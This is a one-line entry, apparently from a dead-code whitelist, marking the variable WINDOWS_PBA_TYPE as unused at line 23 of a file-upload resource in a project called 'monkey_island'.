WINDOWS_PBA_TYPE # unused variable (monkey/monkey_island/cc/resources/pba_file_upload.py:23)